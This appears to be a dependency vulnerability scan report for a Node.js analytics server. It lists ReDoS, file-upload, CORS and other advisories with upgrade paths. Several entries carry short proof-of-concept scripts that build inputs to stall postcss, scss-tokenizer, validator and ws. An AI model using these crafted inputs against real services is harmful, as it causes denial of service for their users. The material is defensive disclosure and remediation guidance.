-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
postcss.parse(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade postcss to version 8.2.13, 7.0.36 or higher.
References
medium severity
- Vulnerable module: scss-tokenizer
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › sass-graph@2.2.5 › scss-tokenizer@0.2.3Remediation: Upgrade to node-sass@7.0.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the loadAnnotation() function, due to the usage of insecure regex.
PoC
var scss = require("scss-tokenizer")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
scss.tokenize(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade scss-tokenizer to version 0.4.3 or higher.
References
medium severity
- Vulnerable module: send
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › send@0.1.4
Overview
Send is a library for streaming files from the file system as an http response. It supports partial responses (Ranges), conditional-GET negotiation, high test coverage, and granular events which may be leveraged to take appropriate actions in your application or framework.
Affected versions of this package are vulnerable to a Root Path Disclosure.
Remediation
Upgrade send to version 0.11.1 or higher.
If a direct dependency update is not possible, use snyk wizard to patch this vulnerability.
References
medium severity
- Vulnerable module: skipper
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6
Overview
skipper is a Bodyparser for Express/Sails. Exposes simple API for streaming multiple files to disk, S3, etc. without buffering to a .tmp directory.
Affected versions of this package are vulnerable to Arbitrary File Upload in the file upload module, which allows attackers to execute arbitrary code via a crafted file.
Remediation
There is no fixed version for skipper.
References
medium severity
- Vulnerable module: socket.io
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3Remediation: Upgrade to sails@1.0.0.
Overview
socket.io is a node.js realtime framework server.
Affected versions of this package are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.
Remediation
Upgrade socket.io to version 2.4.0 or higher.
References
medium severity
- Vulnerable module: uglify-js
- Introduced through: grunt-contrib-uglify@1.0.1, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-uglify@1.0.1 › uglify-js@2.6.4Remediation: Upgrade to grunt-contrib-uglify@4.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-uglify@1.0.1 › uglify-js@2.6.4Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › uglify-js@2.8.29Remediation: Upgrade to webpack@3.0.0.
Overview
uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade uglify-js to version 3.14.3 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › validator@3.41.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › validator@4.4.0Remediation: Upgrade to sails@1.0.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Buffer Overflow. It used a regular expression (/^(?:[A-Z0-9+\/]{4})*(?:[A-Z0-9+\/]{2}==|[A-Z0-9+\/]{3}=|[A-Z0-9+\/]{4})$/i) in order to validate Base64 strings.
Remediation
Upgrade validator to version 5.0.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › validator@3.41.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › validator@4.4.0Remediation: Upgrade to sails@1.0.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.
Remediation
Upgrade validator to version 13.15.20 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › validator@3.41.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › validator@4.4.0Remediation: Upgrade to sails@1.0.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug() function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "111"
for (var i = 0; i < n; i++) {
ret += "a"
}
return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isSlug(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › validator@3.41.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › validator@4.4.0Remediation: Upgrade to sails@1.0.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "hsla(0"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isHSL(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › validator@3.41.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › validator@4.4.0Remediation: Upgrade to sails@1.0.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = ""
for (var i = 0; i < n; i++) {
ret += "<"
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isEmail(attack_str,{ allow_display_name: true })
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3 › ws@1.1.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › ws@1.1.2Remediation: Upgrade to sails@1.0.0.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.
##PoC
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.
References
medium severity
- Vulnerable module: mem
- Introduced through: nyc@11.9.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › yargs@11.1.0 › os-locale@2.1.0 › mem@1.1.0Remediation: Upgrade to nyc@13.2.0.
Overview
mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.
Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.
details
